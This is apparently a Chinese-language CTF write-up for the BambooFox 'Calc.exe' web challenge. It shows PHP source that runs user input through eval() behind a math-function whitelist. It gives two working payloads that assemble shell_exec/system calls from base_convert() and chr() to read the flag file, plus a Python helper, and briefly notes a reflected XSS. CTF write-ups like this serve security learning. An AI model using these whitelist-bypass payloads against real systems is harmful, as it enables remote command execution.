---
# System prepended metadata

title: '[CTF][Web][BambooFox] Calc.exe'
tags: [BambooFox, Web]

---

###### tags: `BambooFox` `Web`
# [CTF][Web][BambooFox] Calc.exe
題目連結：[Link](http://chall.ctf.bamboofox.tw:13377/)

0x01
==
> 題目畫面
![](https://i.imgur.com/h4ZHhbF.png)

> 執行結果
![](https://i.imgur.com/tC7Awa8.png)

> Source
```
<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));

function is_safe($query)
{
    $query = strtolower($query);
    preg_match_all("/([a-z_]+)/", $query, $words);
    $words = $words[0];
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
    $accept_chars = str_split($accept_chars);
    $bad = '';
    for ($i = 0; $i < count($words); $i++) {
        if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
            $bad .= $words[$i] . " ";
        }
    }

    for ($i = 0; $i < strlen($query); $i++) {
        if (array_search($query[$i], $accept_chars) === false) {
            $bad .= $query[$i] . " ";
        }
    }
    return $bad;
}

function safe_eval($code)
{
    if (strlen($code) > 1024) return "Expression too long.";
    $code = strtolower($code);
    $bad = is_safe($code);
    $res = '';
    if (strlen(str_replace(' ', '', $bad)))
        $res = "I don't like this: " . $bad;
    else
        eval('$res=' . $code . ";");
    return $res;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.1/css/bulma.min.css">
    <script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
    <title>Calc.exe online</title>
</head>
<style>
</style>

<body>
    <section class="hero">
        <div class="container">
            <div class="hero-body">
                <h1 class="title">Calc.exe Online</h1>
            </div>
        </div>
    </section>
    <div class="container" style="margin-top: 3em; margin-bottom: 3em;">
        <div class="columns is-centered">
            <div class="column is-8-tablet is-8-desktop is-5-widescreen">
                <form>
                    <div class="field">
                        <div class="control">
                            <input class="input is-large" placeholder="1+1" type="text" name="expression" value="<?= $_GET['expression'] ?? '' ?>" />
                        </div>
                    </div>
                </form>
            </div>
        </div>
        <div class="columns is-centered">
            <?php if (isset($_GET['expression'])) : ?>
                <div class="card column is-8-tablet is-8-desktop is-5-widescreen">
                    <div class="card-content">
                        = <?= @safe_eval($_GET['expression']) ?>
                    </div>
                </div>
            <?php endif ?>
            <a href="/?source"></a>
        </div>
    </div>
</body>

</html> 1
```

在程式碼中可以看見關鍵的幾行，例如白名單
```
//WhiteList
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
//Max Charter
    if (strlen($code) > 1024) return "Expression too long.";
//Execute My Input
    eval('$res=' . $code . ";");
```
總結出來我們只能使用白名單上的各類數學函式去拚出我們需要的ShellCode
並且輸入的size不超過1024(含)，接著丟進eval執行我們輸入的東西

別人的寫法
===
>需要： ==print_r(shell_exec(cat /f*))==

Payload：
```
(base_convert(27118333,10,32).is_finite[2].floor[4])((base_convert(29932213,10,32).is_finite[2].exp[0].exp[1].base_convert(460,10,32))(base_convert(12859,10,32)(99).base_convert(12859,10,32)(97).base_convert(12859,10,32)(116).base_convert(12859,10,32)(32).base_convert(12859,10,32)(47).base_convert(12859,10,32)(102).base_convert(12859,10,32)(42)),1)

```
我的寫法
===
>需要： ==system(cat /f*)==

Payload：
```
(base_convert(28,10,36).base_convert(34,10,36).base_convert(28,10,36).base_convert(29,10,36).base_convert(14,10,36).base_convert(22,10,36))((base_convert(12,10,36).base_convert(10,10,36).base_convert(29,10,36)).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(32).(base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(47).base_convert(15,10,36).((base_convert(12,10,36).base_convert(17,10,36).base_convert(27,10,36))(42)))
```

Get Flag !
===
![](https://i.imgur.com/fF6k21L.png)


補充
===

> base_convert()是php中進位的函數，因16進位的英文字只有a-f而已，遠遠不夠我們需要用的
> 而0-9,a-z總共36個，36進位才充分滿足我們需要的結構

因為除了0-9,a-z以外的字元，我們都會使用chr()來彌補
而也可以只用一個function滿足一個函式，例如：
```
def base_convert(number, fromBase, toBase):
    try:
        # Convert number to base 10
        base10 = int(number, fromBase)
    except ValueError:
        raise
        
    if toBase < 2 or toBase > 36:
        raise NotImplementedError
        
    output_value = ''
    digits = "0123456789abcdefghijklmnopqrstuvwxyz"
    sign = ''
    
    if base10 == 0:
        return '0'
    elif base10 < 0:
        sign = '-'
        base10 = -base10
    
    # Convert to base toBase    
    s = ''
    while base10 != 0:
        r = base10 % toBase
        r = int(r)
        s = digits[r] + s
        base10 //= toBase
        
    output_value = sign + s
    return output_value

if __name__ == "__main__":
    tmp = 1 //任意更改，可依a的值去做大幅度增減
    while(1):
        a = base_convert(f"{tmp}",10,36)
        print(a,tmp)
        if a == "system":
            break
        else:
            tmp += 1
```

由上述程式碼可得知，system＝1751504350

base_convert(1751504350,10,36)=system


其實我當初還戳到XSS，但其實沒什麼用 ....
![](https://i.imgur.com/mlXl0RX.png)

